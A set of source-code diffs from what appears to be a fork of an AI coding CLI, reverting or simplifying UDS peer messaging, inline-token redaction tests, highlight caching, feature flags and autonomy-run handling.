'uds addresses must not include inline auth tokens; use the ListPeers address',
},
}
}
}
if (feature('UDS_INBOX') && typeof input.message === 'string') {
const addr = parseAddress(input.to)
if (addr.scheme === 'bridge') {
@@ -834,10 +772,10 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
const { postInterClaudeMessage } =
require('src/bridge/peerSessions.js') as typeof import('src/bridge/peerSessions.js')
/* eslint-enable @typescript-eslint/no-require-imports */
const result = (await postInterClaudeMessage(
const result = await postInterClaudeMessage(
addr.target,
input.message,
)) as { ok: boolean; error?: string }
) as { ok: boolean; error?: string }
const preview = input.summary || truncate(input.message, 50)
return {
data: {
@@ -849,7 +787,6 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
}
}
if (addr.scheme === 'uds') {
const recipient = recipientForDisplay(input.to)
/* eslint-disable @typescript-eslint/no-require-imports */
const { sendToUdsSocket } =
require('src/utils/udsClient.js') as typeof import('src/utils/udsClient.js')
@@ -860,14 +797,14 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
return {
data: {
success: true,
message: `${preview}” → ${recipient}`,
message: `${preview}” → ${input.to}`,
},
}
} catch (e) {
return {
data: {
success: false,
message: `Failed to send to ${recipient}: ${errorMessage(e)}`,
message: `Failed to send to ${input.to}: ${errorMessage(e)}`,
},
}
}

View File

@@ -1,181 +0,0 @@
import { describe, expect, test } from 'bun:test'
import { SendMessageTool } from '../SendMessageTool.js'
describe('SendMessageTool UDS recipient handling', () => {
test('redacts inline UDS tokens before classifier and observable paths', async () => {
const tokenAddress = 'uds:/tmp/peer.sock#token=secret-token'
const observableInput = {
to: tokenAddress,
message: 'hello',
} as Record<string, unknown>
SendMessageTool.backfillObservableInput!(observableInput)
expect(observableInput.recipient).toBe('uds:/tmp/peer.sock')
expect(observableInput.to).toBe('uds:/tmp/peer.sock#token=')
expect(JSON.stringify(observableInput)).not.toContain('secret-token')
expect(
SendMessageTool.toAutoClassifierInput({
to: tokenAddress,
message: 'hello',
}),
).toBe('to uds:/tmp/peer.sock: hello')
})
test('keeps redacted UDS token rejection through observable backfill', async () => {
const observableInput = {
to: 'uds:/tmp/peer.sock#token=secret-token',
message: {
type: 'plan_approval_response',
request_id: 'req-1',
approve: false,
reason: 'needs tests',
},
} as Record<string, unknown>
SendMessageTool.backfillObservableInput!(observableInput)
expect(observableInput.to).toBe('uds:/tmp/peer.sock#token=')
expect(observableInput.recipient).toBe('uds:/tmp/peer.sock')
expect(observableInput.type).toBe('plan_approval_response')
expect(observableInput.request_id).toBe('req-1')
expect(observableInput.approve).toBe(false)
expect(observableInput.content).toBe('needs tests')
expect(JSON.stringify(observableInput)).not.toContain('secret-token')
const result = await SendMessageTool.validateInput!(
observableInput as never,
{} as never,
)
expect(result.result).toBe(false)
if (result.result !== false) {
throw new Error('expected validation to reject redacted inline UDS token')
}
expect(result.message).toContain('inline auth tokens')
})
test('keeps inline-token rejection when observable input is cloned', async () => {
const observableInput = {
to: 'uds:/tmp/peer.sock#token=secret-token',
message: 'hello',
} as Record<string, unknown>
SendMessageTool.backfillObservableInput!(observableInput)
const clonedInput = {
to: observableInput.to,
message: observableInput.message,
summary: 'hello peer',
}
const validation = await SendMessageTool.validateInput!(
clonedInput as never,
{} as never,
)
const result = await SendMessageTool.call(
clonedInput as never,
{} as never,
undefined as never,
undefined as never,
)
expect(validation.result).toBe(false)
expect(result.data.success).toBe(false)
expect(JSON.stringify(clonedInput)).not.toContain('secret-token')
expect(JSON.stringify(result)).not.toContain('secret-token')
})
test('redacts UDS tokens in structured classifier text', async () => {
const to = 'uds:/tmp/peer.sock#token=secret-token'
expect(
SendMessageTool.toAutoClassifierInput({
to,
message: { type: 'shutdown_request' },
}),
).toBe('shutdown_request to uds:/tmp/peer.sock')
expect(
SendMessageTool.toAutoClassifierInput({
to,
message: {
type: 'plan_approval_response',
request_id: 'req-1',
approve: true,
},
}),
).toBe('plan_approval approve to uds:/tmp/peer.sock')
expect(
SendMessageTool.toAutoClassifierInput({
to,
message: {
type: 'plan_approval_response',
request_id: 'req-2',
approve: false,
},
}),
).toBe('plan_approval reject to uds:/tmp/peer.sock')
expect(
SendMessageTool.toAutoClassifierInput({
to,
message: {
type: 'shutdown_response',
request_id: 'shutdown-1',
approve: false,
},
}),
).toBe('shutdown_response reject shutdown-1')
})
test('redacts from the first inline UDS token marker', async () => {
const tokenAddress = 'uds:/tmp/peer.sock#token=first#token=second'
const observableInput = {
to: tokenAddress,
message: 'hello',
} as Record<string, unknown>
SendMessageTool.backfillObservableInput!(observableInput)
expect(observableInput.to).toBe('uds:/tmp/peer.sock#token=')
expect(observableInput.recipient).toBe('uds:/tmp/peer.sock')
expect(JSON.stringify(observableInput)).not.toContain('first')
expect(JSON.stringify(observableInput)).not.toContain('second')
expect(
SendMessageTool.toAutoClassifierInput({
to: tokenAddress,
message: 'hello',
}),
).toBe('to uds:/tmp/peer.sock: hello')
})
test('rejects inline UDS tokens during validation', async () => {
const result = await SendMessageTool.validateInput!(
{
to: 'uds:/tmp/peer.sock#token=secret-token',
message: 'hello',
},
{} as never,
)
expect(result.result).toBe(false)
if (result.result !== false) {
throw new Error('expected validation to reject inline UDS token')
}
expect(result.message).toContain('inline auth tokens')
expect(JSON.stringify(result)).not.toContain('secret-token')
})
test('rejects inline UDS tokens during execution without leaking them', async () => {
const result = await SendMessageTool.call(
{
to: 'uds:/tmp/peer.sock#token=secret-token',
message: 'hello',
},
{} as never,
undefined as never,
undefined as never,
)
expect(result.data.success).toBe(false)
expect(JSON.stringify(result)).not.toContain('secret-token')
})
})

View File

@@ -1,71 +0,0 @@
import { describe, expect, test } from 'bun:test'
import hljs from 'highlight.js/lib/core'
// Re-import the module to trigger language registration side effects
// The module-level registerLanguage calls happen on import
import '../index.js'
describe('highlight.js language registration', () => {
const expectedLanguages = [
'bash', 'c', 'cmake', 'cpp', 'csharp', 'css', 'diff', 'dockerfile',
'go', 'graphql', 'java', 'javascript', 'json', 'kotlin', 'makefile',
'markdown', 'perl', 'php', 'python', 'ruby', 'rust', 'shell', 'sql',
'typescript', 'xml', 'yaml',
]
test('all expected languages are registered', () => {
for (const lang of expectedLanguages) {
expect(hljs.getLanguage(lang)).toBeDefined()
}
})
test('unregistered language returns undefined', () => {
expect(hljs.getLanguage('totally-not-a-real-language-xyz')).toBeUndefined()
})
test('highlight works for TypeScript', () => {
const result = hljs.highlight('const x: number = 42', {
language: 'typescript',
ignoreIllegals: true,
})
expect(result.value).toContain('const')
expect(result.language).toBe('typescript')
})
test('highlight works for Python', () => {
const result = hljs.highlight('def hello():\n print("hi")', {
language: 'python',
ignoreIllegals: true,
})
expect(result.value).toContain('def')
expect(result.language).toBe('python')
})
test('highlight works for JSON', () => {
const result = hljs.highlight('{"key": "value"}', {
language: 'json',
ignoreIllegals: true,
})
expect(result.language).toBe('json')
})
test('highlight works for Bash', () => {
const result = hljs.highlight('echo "hello world"', {
language: 'bash',
ignoreIllegals: true,
})
expect(result.language).toBe('bash')
})
test('all expected languages are registered (standalone)', () => {
// When running standalone, only 26 languages are registered via index.ts.
// When running in the full test suite, cliHighlight.ts imports the full
// highlight.js bundle (190+ languages) which shares the same core singleton,
// so the total count is higher. We verify our 26 languages are present regardless.
const registered = hljs.listLanguages()
for (const lang of expectedLanguages) {
expect(registered).toContain(lang)
}
expect(registered.length).toBeGreaterThanOrEqual(expectedLanguages.length)
})
})

View File

@@ -502,50 +502,6 @@ function hasRootNode(emitter: unknown): emitter is { rootNode: HljsNode } {
let loggedEmitterShapeError = false
// Per-line hljs AST cache — ColorFile.render re-highlights every line on
// width change (terminal resize). The AST is theme-independent; flattenHljs
// applies theme colors separately. Capped at 2048 entries (~1 MB typical).
const HL_LINE_CACHE_MAX = 2048
const hlLineCache = new Map<string, HljsNode | null>()
function cachedHljsAst(
lang: string,
code: string,
): HljsNode | null {
const key = lang + '\0' + code
const hit = hlLineCache.get(key)
if (hit !== undefined) return hit
let result
try {
result = hljsApi().highlight(code, {
language: lang,
ignoreIllegals: true,
})
} catch {
hlLineCache.set(key, null)
return null
}
const emitter = result._emitter || {}
if (!hasRootNode(emitter)) {
if (!loggedEmitterShapeError) {
loggedEmitterShapeError = true
logError(
new Error(
`color-diff: hljs emitter shape mismatch (keys: ${Object.keys(emitter).join(',')}). Syntax highlighting disabled.`,
),
)
}
hlLineCache.set(key, null)
return null
}
const node = emitter.rootNode
if (hlLineCache.size >= HL_LINE_CACHE_MAX) {
const first = hlLineCache.keys().next().value
if (first !== undefined) hlLineCache.delete(first)
}
hlLineCache.set(key, node)
return node
}
function highlightLine(
state: { lang: string | null; stack: unknown },
line: string,
@@ -556,12 +512,30 @@ function highlightLine(
if (!state.lang) {
return [[defaultStyle(theme), code]]
}
const rootNode = cachedHljsAst(state.lang, code)
if (!rootNode) {
let result
try {
result = hljsApi().highlight(code, {
language: state.lang,
ignoreIllegals: true,
})
} catch {
// hljs throws on unknown language despite ignoreIllegals
return [[defaultStyle(theme), code]]
}
const emitter = result._emitter || {};
if (!hasRootNode(emitter)) {
if (!loggedEmitterShapeError) {
loggedEmitterShapeError = true
logError(
new Error(
`color-diff: hljs emitter shape mismatch (keys: ${Object.keys(emitter).join(',')}). Syntax highlighting disabled.`,
),
)
}
return [[defaultStyle(theme), code]]
}
const blocks: Block[] = []
flattenHljs(rootNode, theme, undefined, blocks)
flattenHljs(emitter.rootNode, theme, undefined, blocks)
return blocks
}

View File

@@ -53,10 +53,10 @@ export const DEFAULT_BUILD_FEATURES = [
'CONTEXT_COLLAPSE', // 上下文折叠,自动压缩旧消息
'MONITOR_TOOL', // Monitor 工具,流式监控后台进程输出
'FORK_SUBAGENT', // Fork 子代理,在隔离上下文中并行执行任务
// 'UDS_INBOX', // inbox 数组只增不减(非 GB 级主因)
'UDS_INBOX', // inbox 数组只增不减(非 GB 级主因)
'KAIROS', // Kairos 定时任务系统核心
// 'COORDINATOR_MODE', // 已禁用AgentSummary 30s fork 循环GB 级泄露主因
// 'LAN_PIPES', // 依赖 UDS_INBOX已随 UDS_INBOX 恢复)
'LAN_PIPES', // 依赖 UDS_INBOX已随 UDS_INBOX 恢复)
'BG_SESSIONS', // 后台会话管理ps/logs/attach/kill
'TEMPLATES', // 模板任务new/list/reply 子命令)
// 'REVIEW_ARTIFACT', // 代码审查产物API 请求无响应,待排查 schema 兼容性)
@@ -66,16 +66,9 @@ export const DEFAULT_BUILD_FEATURES = [
'COMMIT_ATTRIBUTION', // Git 提交归属追踪(记录 AI 辅助贡献)
// Server mode (claude server / claude open)
'DIRECT_CONNECT', // 直连模式claude server / claude open
// Skill search & learning — feature flags compiled in (so the slash
// commands /skill-* etc. exist), but the runtime "enabled" toggle
// defaults to OFF (see featureCheck.ts). Operators turn on via the
// slash-command toggle or env vars (SKILL_SEARCH_ENABLED=1,
// SKILL_LEARNING_ENABLED=1). Rationale: bounded caches added on
// this branch (see docs/agent/sur-skill-overflow-bugs.md) close the
// overflow risk, but Haiku-on-first-Chinese-query and disk-side
// observation accumulation remain operator-discretion concerns.
'EXPERIMENTAL_SKILL_SEARCH',
'SKILL_LEARNING',
// Skill search & learning
'EXPERIMENTAL_SKILL_SEARCH', // 实验性技能搜索DiscoverSkills
'SKILL_LEARNING', // projectContext cache 无淘汰机制(非 GB 级主因)
// P3: poor mode
'POOR', // 穷鬼模式,跳过 extract_memories/prompt_suggestion 减少消耗
// Team Memory

View File

@@ -178,19 +178,6 @@ export type ToolUseContext = {
querySource?: QuerySource
/** Optional callback to get the latest tools (e.g., after MCP servers connect mid-query) */
refreshTools?: () => Tools
/**
* @internal TEST-ONLY ESCAPE HATCH. MUST remain undefined in production.
*
* Allows non-bundled unit-test harnesses to exercise the background
* forked slash command path that production assistant mode gates behind
* `feature('KAIROS')`. Still requires `AppState.kairosEnabled`. This
* field is constructed in-process by trusted application code only;
* no external surface (MCP, plugin, slash command, network) writes to
* `ToolUseContext.options`. Setting this true outside a test bypasses
* the KAIROS feature flag; `processSlashCommand` rejects this flag
* outside `NODE_ENV=test`.
*/
allowBackgroundForkedSlashCommands?: boolean
}
abortController: AbortController
readFileState: FileStateCache

View File

@@ -1,18 +1,8 @@
import { afterEach, beforeEach, describe, expect, mock, test } from 'bun:test'
import { beforeEach, describe, expect, mock, test } from 'bun:test'
import { createAbortController } from '../utils/abortController'
import { QueryGuard } from '../utils/QueryGuard'
import { handlePromptSubmit } from '../utils/handlePromptSubmit'
import {
getCommandQueue,
resetCommandQueue,
} from '../utils/messageQueueManager'
import { cleanupTempDir, createTempDir } from '../../tests/mocks/file-system'
import {
createAutonomyQueuedPrompt,
markAutonomyRunCancelled,
} from '../utils/autonomyRuns'
let tempDirs: string[] = []
import { getCommandQueue, resetCommandQueue } from '../utils/messageQueueManager'
function createBaseParams() {
const queryGuard = new QueryGuard()
@@ -38,9 +28,11 @@ function createBaseParams() {
commands: [],
setUserInputOnProcessing: mock((_prompt?: string) => {}),
setAbortController: mock((_abortController: AbortController | null) => {}),
onQuery: mock(async () => true) as unknown as (
onQuery: mock(
async () => undefined,
) as unknown as (
...args: unknown[]
) => Promise<boolean>,
) => Promise<void>,
setAppState: mock((_updater: unknown) => {}),
}
}
@@ -48,13 +40,6 @@ function createBaseParams() {
describe('handlePromptSubmit', () => {
beforeEach(() => {
resetCommandQueue()
tempDirs = []
})
afterEach(async () => {
for (const tempDir of tempDirs) {
await cleanupTempDir(tempDir)
}
})
test('aborts the current turn when only cancel-interrupt tools are running', async () => {
@@ -133,34 +118,4 @@ describe('handlePromptSubmit', () => {
bridgeOrigin: true,
})
})
test('skips stale autonomy commands in the idle queued path', async () => {
const params = createBaseParams()
const abortController = createAbortController()
const tempDir = await createTempDir('handle-prompt-autonomy-')
tempDirs.push(tempDir)
const command = await createAutonomyQueuedPrompt({
basePrompt: 'scheduled prompt',
trigger: 'scheduled-task',
rootDir: tempDir,
currentDir: tempDir,
})
expect(command).not.toBeNull()
await markAutonomyRunCancelled(command!.autonomy!.runId, tempDir)
await handlePromptSubmit({
...params,
input: '',
mode: 'prompt',
pastedContents: {},
abortController,
streamMode: 'normal' as any,
hasInterruptibleToolInProgress: false,
isExternalLoading: false,
queuedCommands: [command!],
})
expect(params.getToolUseContext).not.toHaveBeenCalled()
expect(params.onQuery).not.toHaveBeenCalled()
})
})

View File

@@ -1,337 +0,0 @@
import { afterEach, beforeEach, describe, expect, test } from 'bun:test'
import { randomUUID } from 'crypto'
import {
resetStateForTests,
setCwdState,
setOriginalCwd,
setProjectRoot,
} from '../bootstrap/state'
import { query } from '../query'
import { getEmptyToolPermissionContext } from '../Tool'
import type { AssistantMessage } from '../types/message'
import { asSystemPrompt } from '../utils/systemPromptType'
import {
createAssistantAPIErrorMessage,
createUserMessage,
} from '../utils/messages'
import { cleanupTempDir, createTempDir } from '../../tests/mocks/file-system'
import {
enqueue,
getCommandsByMaxPriority,
resetCommandQueue,
} from '../utils/messageQueueManager'
import { getAutonomyFlowById, listAutonomyFlows } from '../utils/autonomyFlows'
import {
getAutonomyRunById,
startManagedAutonomyFlowFromHeartbeatTask,
} from '../utils/autonomyRuns'
let tempDir = ''
let originalProcessCwd = ''
beforeEach(async () => {
originalProcessCwd = process.cwd()
tempDir = await createTempDir('query-autonomy-provider-boundary-')
resetStateForTests()
resetCommandQueue()
setOriginalCwd(tempDir)
setCwdState(tempDir)
setProjectRoot(tempDir)
})
afterEach(async () => {
resetStateForTests()
resetCommandQueue()
if (originalProcessCwd) {
process.chdir(originalProcessCwd)
}
if (tempDir) {
let lastError: unknown
for (let attempt = 0; attempt < 20; attempt++) {
try {
await cleanupTempDir(tempDir)
lastError = undefined
break
} catch (error) {
lastError = error
await new Promise(resolve => setTimeout(resolve, 100))
}
}
if (lastError) {
throw lastError
}
}
})
function createToolUseAssistantMessage(): AssistantMessage {
return {
type: 'assistant',
uuid: randomUUID(),
timestamp: new Date().toISOString(),
requestId: undefined,
message: {
id: 'msg_tool_use',
type: 'message',
role: 'assistant',
model: 'test-model',
stop_reason: 'tool_use',
stop_sequence: null,
usage: {
input_tokens: 1,
output_tokens: 1,
cache_creation_input_tokens: 0,
cache_read_input_tokens: 0,
},
content: [
{
type: 'tool_use',
id: 'toolu_provider_boundary',
name: 'MissingBoundaryTool',
input: {},
},
],
},
} as unknown as AssistantMessage
}
function createToolUseContext(): any {
let inProgressToolUseIds = new Set<string>()
let responseLength = 0
let appState = {
toolPermissionContext: getEmptyToolPermissionContext(),
fastMode: false,
mcp: {
tools: [],
clients: [],
},
effortValue: undefined,
advisorModel: undefined,
sessionHooks: new Map(),
}
return {
options: {
commands: [],
debug: false,
mainLoopModel: 'claude-sonnet-4-5-20250929',
tools: [],
verbose: false,
thinkingConfig: { type: 'disabled' },
mcpClients: [],
mcpResources: {},
isNonInteractiveSession: true,
agentDefinitions: {
activeAgents: [],
allowedAgentTypes: [],
},
},
abortController: new AbortController(),
readFileState: new Map(),
getAppState: () => appState,
setAppState: (updater: (state: any) => any) => {
appState = updater(appState as never)
},
setInProgressToolUseIDs: (updater: (state: Set<string>) => Set<string>) => {
inProgressToolUseIds = updater(inProgressToolUseIds)
},
setResponseLength: (updater: (state: number) => number) => {
responseLength = updater(responseLength)
},
updateFileHistoryState: () => {},
updateAttributionState: () => {},
messages: [],
} as any
}
describe('query autonomy/provider boundary', () => {
test('provider api-error messages fail a consumed autonomy run instead of advancing the flow', async () => {
const previousDisableAttachments =
process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS
process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS = '1'
try {
const command = await startManagedAutonomyFlowFromHeartbeatTask({
task: {
name: 'provider-boundary',
interval: '1h',
prompt: 'Exercise provider boundary',
steps: [
{ name: 'first', prompt: 'First provider-boundary step' },
{ name: 'second', prompt: 'Second provider-boundary step' },
],
},
rootDir: tempDir,
currentDir: tempDir,
priority: 'next',
})
expect(command).not.toBeNull()
enqueue(command!)
const toolUseContext = createToolUseContext()
let callCount = 0
const deps = {
uuid: () => 'query-chain-id',
microcompact: async (messages: unknown[]) => ({ messages }),
autocompact: async () => ({
compactionResult: undefined,
consecutiveFailures: 0,
}),
callModel: async function* () {
callCount += 1
if (callCount === 1) {
yield createToolUseAssistantMessage()
return
}
yield createAssistantAPIErrorMessage({
content: 'API Error: provider unavailable',
apiError: 'api_error',
error: new Error('provider unavailable') as never,
})
},
}
const emitted: any[] = []
const generator = query({
messages: [
createUserMessage({
content: 'start provider-boundary test',
}),
],
systemPrompt: asSystemPrompt([]),
userContext: {},
systemContext: {},
canUseTool: async (_tool, input) => ({
behavior: 'allow',
updatedInput: input,
}),
toolUseContext,
querySource: 'sdk',
maxTurns: 3,
deps: deps as never,
})
let next = await generator.next()
while (!next.done) {
emitted.push(next.value)
next = await generator.next()
}
const [flow] = await listAutonomyFlows(tempDir)
const finalFlow = await getAutonomyFlowById(flow!.flowId, tempDir)
const run = await getAutonomyRunById(command!.autonomy!.runId, tempDir)
expect(next.value.reason).toBe('model_error')
expect(callCount).toBe(2)
expect(
emitted.some(
message =>
message.type === 'attachment' &&
message.attachment.type === 'queued_command',
),
).toBe(true)
expect(run!.status).toBe('failed')
expect(run!.error).toBe('provider api_error')
expect(finalFlow!.status).toBe('failed')
expect(finalFlow!.stateJson!.steps.map(step => step.status)).toEqual([
'failed',
'pending',
])
expect(getCommandsByMaxPriority('later')).toHaveLength(0)
} finally {
if (previousDisableAttachments === undefined) {
delete process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS
} else {
process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS = previousDisableAttachments
}
}
})
test('generator return cancels a consumed autonomy run instead of leaving it running', async () => {
const previousDisableAttachments =
process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS
process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS = '1'
try {
const command = await startManagedAutonomyFlowFromHeartbeatTask({
task: {
name: 'return-boundary',
interval: '1h',
prompt: 'Exercise generator return boundary',
steps: [
{ name: 'first', prompt: 'First return-boundary step' },
{ name: 'second', prompt: 'Second return-boundary step' },
],
},
rootDir: tempDir,
currentDir: tempDir,
priority: 'next',
})
expect(command).not.toBeNull()
enqueue(command!)
const toolUseContext = createToolUseContext()
const deps = {
uuid: () => 'query-chain-id',
microcompact: async (messages: unknown[]) => ({ messages }),
autocompact: async () => ({
compactionResult: undefined,
consecutiveFailures: 0,
}),
callModel: async function* () {
yield createToolUseAssistantMessage()
},
}
const generator = query({
messages: [
createUserMessage({
content: 'start return-boundary test',
}),
],
systemPrompt: asSystemPrompt([]),
userContext: {},
systemContext: {},
canUseTool: async (_tool, input) => ({
behavior: 'allow',
updatedInput: input,
}),
toolUseContext,
querySource: 'sdk',
maxTurns: 3,
deps: deps as never,
})
let sawQueuedAttachment = false
let next = await generator.next()
while (!next.done) {
const message = next.value as any
if (
message.type === 'attachment' &&
message.attachment.type === 'queued_command'
) {
sawQueuedAttachment = true
await generator.return(undefined as never)
break
}
next = await generator.next()
}
const [flow] = await listAutonomyFlows(tempDir)
const finalFlow = await getAutonomyFlowById(flow!.flowId, tempDir)
const run = await getAutonomyRunById(command!.autonomy!.runId, tempDir)
expect(sawQueuedAttachment).toBe(true)
expect(run!.status).toBe('cancelled')
expect(finalFlow!.status).toBe('cancelled')
expect(finalFlow!.stateJson!.steps.map(step => step.status)).toEqual([
'cancelled',
'cancelled',
])
expect(getCommandsByMaxPriority('later')).toHaveLength(0)
} finally {
if (previousDisableAttachments === undefined) {
delete process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS
} else {
process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS = previousDisableAttachments
}
}
})
})

View File

@@ -6,38 +6,6 @@ import { getBridgeAccessToken } from './bridgeConfig.js'
import { getReplBridgeHandle } from './replBridgeHandle.js'
import { toCompatSessionId } from './sessionIdCompat.js'
export type BridgePeerSession = {
address: string
name?: string
cwd?: string
pid?: number
}
/**
* List locally registered sessions that have published a Remote Control
* session ID. The PID registry is the local source of truth for bridge peers
* already known to this machine; SendMessage can use these bridge:<id>
* addresses when the current process has an active bridge handle.
*/
export async function listBridgePeers(): Promise<BridgePeerSession[]> {
const { listAllLiveSessions } = await import('../utils/udsClient.js')
const sessions = await listAllLiveSessions()
const peers: BridgePeerSession[] = []
for (const session of sessions) {
if (session.pid === process.pid || !session.bridgeSessionId) continue
const compatId = toCompatSessionId(session.bridgeSessionId)
peers.push({
address: `bridge:${compatId}`,
name: session.name ?? session.kind,
cwd: session.cwd,
pid: session.pid,
})
}
return peers
}
/**
* Send a plain-text message to another Claude session via the bridge API.
*

View File

@@ -57,7 +57,7 @@ describe('autonomy CLI handler', () => {
sourceLabel: 'nightly',
})
const output = await getAutonomyStatusText({ rootDir: tempDir })
const output = await getAutonomyStatusText()
expect(output).toContain('Autonomy runs: 1')
expect(output).toContain('Queued: 1')
@@ -77,7 +77,7 @@ describe('autonomy CLI handler', () => {
})}\n`,
)
const output = await getAutonomyStatusText({ deep: true, rootDir: tempDir })
const output = await getAutonomyStatusText({ deep: true })
expect(output).toContain('# Autonomy Deep Status')
expect(output).toContain('## Workflow Runs')
@@ -87,8 +87,8 @@ describe('autonomy CLI handler', () => {
})
test('prints individual deep status sections for panel actions', async () => {
const pipes = await getAutonomyDeepSectionText('pipes', { rootDir: tempDir })
const remoteControl = await getAutonomyDeepSectionText('remote-control', { rootDir: tempDir })
const pipes = await getAutonomyDeepSectionText('pipes')
const remoteControl = await getAutonomyDeepSectionText('remote-control')
expect(pipes).toContain('# Pipes')
expect(pipes).toContain('Pipe registry:')
@@ -116,17 +116,17 @@ describe('autonomy CLI handler', () => {
})
const [waitingFlow] = await listAutonomyFlows(tempDir)
expect(await getAutonomyFlowsText(undefined, { rootDir: tempDir })).toContain(waitingFlow!.flowId)
expect(await getAutonomyFlowText(waitingFlow!.flowId, { rootDir: tempDir })).toContain(
expect(await getAutonomyFlowsText()).toContain(waitingFlow!.flowId)
expect(await getAutonomyFlowText(waitingFlow!.flowId)).toContain(
'Current step: wait',
)
const resumed = await resumeAutonomyFlowText(waitingFlow!.flowId, { rootDir: tempDir, currentDir: tempDir })
const resumed = await resumeAutonomyFlowText(waitingFlow!.flowId)
expect(resumed).toContain('Prepared the next managed step')
expect(resumed).toContain('Prompt:')
expect(resumed).toContain('Wait for manual signal')
const cancelled = await cancelAutonomyFlowText(waitingFlow!.flowId, { rootDir: tempDir })
const cancelled = await cancelAutonomyFlowText(waitingFlow!.flowId)
expect(cancelled).toContain('Cancelled flow')
})
})

View File

@@ -37,12 +37,10 @@ export function parseAutonomyLimit(raw?: string | number): number {
export async function getAutonomyStatusText(options?: {
deep?: boolean
rootDir?: string
}): Promise<string> {
const rootDir = options?.rootDir
const [runs, flows] = await Promise.all([
listAutonomyRuns(rootDir),
listAutonomyFlows(rootDir),
listAutonomyRuns(),
listAutonomyFlows(),
])
if (options?.deep) {
@@ -57,11 +55,10 @@ export async function getAutonomyStatusText(options?: {
export async function getAutonomyDeepSectionText(
sectionId: AutonomyDeepStatusSectionId,
options?: { rootDir?: string },
): Promise<string> {
const [runs, flows] = await Promise.all([
listAutonomyRuns(options?.rootDir),
listAutonomyFlows(options?.rootDir),
listAutonomyRuns(),
listAutonomyFlows(),
])
const sections = await formatAutonomyDeepStatusSections({ runs, flows })
const section = sections.find(item => item.id === sectionId)
@@ -79,10 +76,9 @@ export async function autonomyStatusHandler(options?: {
export async function getAutonomyRunsText(
limit?: string | number,
options?: { rootDir?: string },
): Promise<string> {
return formatAutonomyRunsList(
await listAutonomyRuns(options?.rootDir),
await listAutonomyRuns(),
parseAutonomyLimit(limit),
)
}
@@ -95,10 +91,9 @@ export async function autonomyRunsHandler(
export async function getAutonomyFlowsText(
limit?: string | number,
options?: { rootDir?: string },
): Promise<string> {
return formatAutonomyFlowsList(
await listAutonomyFlows(options?.rootDir),
await listAutonomyFlows(),
parseAutonomyLimit(limit),
)
}
@@ -109,11 +104,8 @@ export async function autonomyFlowsHandler(
process.stdout.write(`${await getAutonomyFlowsText(limit)}\n`)
}
export async function getAutonomyFlowText(
flowId: string,
options?: { rootDir?: string },
): Promise<string> {
return formatAutonomyFlowDetail(await getAutonomyFlowById(flowId, options?.rootDir))
export async function getAutonomyFlowText(flowId: string): Promise<string> {
return formatAutonomyFlowDetail(await getAutonomyFlowById(flowId))
}
export async function autonomyFlowHandler(flowId: string): Promise<void> {
@@ -124,13 +116,9 @@ export async function cancelAutonomyFlowText(
flowId: string,
options?: {
removeQueuedInMemory?: boolean
rootDir?: string
},
): Promise<string> {
const cancelled = await requestManagedAutonomyFlowCancel({
flowId,
rootDir: options?.rootDir,
})
const cancelled = await requestManagedAutonomyFlowCancel({ flowId })
if (!cancelled) {
return 'Autonomy flow not found.'
}
@@ -144,12 +132,12 @@ export async function cancelAutonomyFlowText(
removedCount = removed.length
for (const command of removed) {
if (command.autonomy?.runId) {
await markAutonomyRunCancelled(command.autonomy.runId, options?.rootDir)
await markAutonomyRunCancelled(command.autonomy.runId)
}
}
} else {
for (const runId of cancelled.queuedRunIds) {
await markAutonomyRunCancelled(runId, options?.rootDir)
await markAutonomyRunCancelled(runId)
}
removedCount = cancelled.queuedRunIds.length
}
@@ -167,15 +155,9 @@ export async function resumeAutonomyFlowText(
flowId: string,
options?: {
enqueueInMemory?: boolean
rootDir?: string
currentDir?: string
},
): Promise<string> {
const command = await resumeManagedAutonomyFlowPrompt({
flowId,
rootDir: options?.rootDir,
currentDir: options?.currentDir,
})
const command = await resumeManagedAutonomyFlowPrompt({ flowId })
if (!command) {
return 'Autonomy flow is not waiting or was not found.'
}

View File

@@ -321,15 +321,16 @@ import {
} from 'src/utils/queryProfiler.js'
import { asSessionId } from 'src/types/ids.js'
import {
createAutonomyQueuedPromptIfNoActiveSource,
commitAutonomyQueuedPrompt,
createAutonomyQueuedPrompt,
createProactiveAutonomyCommands,
finalizeAutonomyRunCompleted,
finalizeAutonomyRunFailed,
markAutonomyRunCompleted,
markAutonomyRunFailed,
markAutonomyRunRunning,
} from 'src/utils/autonomyRuns.js'
import {
cancelQueuedAutonomyCommands,
claimConsumableQueuedAutonomyCommands,
finalizeAutonomyCommandsForTurn,
} from 'src/utils/autonomyQueueLifecycle.js'
import { prepareAutonomyTurnPrompt } from 'src/utils/autonomyAuthority.js'
import { jsonStringify } from '../utils/slowOperations.js'
import { skillChangeDetector } from '../utils/skills/skillChangeDetector.js'
import { getCommands, clearCommandsCache } from '../commands.js'
@@ -1864,26 +1865,17 @@ function runHeadlessStreaming(
currentDir: cwd(),
shouldCreate: () => !inputClosed,
})
if (inputClosed) {
await cancelQueuedAutonomyCommands({ commands })
return
}
for (const command of commands) {
if (inputClosed) {
return
}
enqueue({
...command,
uuid: randomUUID(),
})
}
void run()
})().catch(error => {
logError(error)
logForDebugging(
`[Proactive] failed to create headless tick: ${error}`,
{
level: 'error',
},
)
})
})()
}, 0)
}
: undefined
@@ -1979,24 +1971,17 @@ function runHeadlessStreaming(
// Non-prompt commands (task-notification, orphaned-permission) carry
// side effects or orphanedPermission state, so they process singly.
// Prompt commands greedily collect followers with matching workload.
let batch: QueuedCommand[] = [command]
const batch: QueuedCommand[] = [command]
if (command.mode === 'prompt') {
while (canBatchWith(command, peek(isMainThread))) {
batch.push(dequeue(isMainThread)!)
}
}
const queuedAutonomyClaim =
await claimConsumableQueuedAutonomyCommands(batch)
batch = queuedAutonomyClaim.attachmentCommands
if (batch.length === 0) {
continue
}
command = batch[0]!
if (command.mode === 'prompt' && batch.length > 1) {
command = {
...command,
value: joinPromptValues(batch.map(c => c.value)),
uuid: batch.findLast(c => c.uuid)?.uuid ?? command.uuid,
if (batch.length > 1) {
command = {
...command,
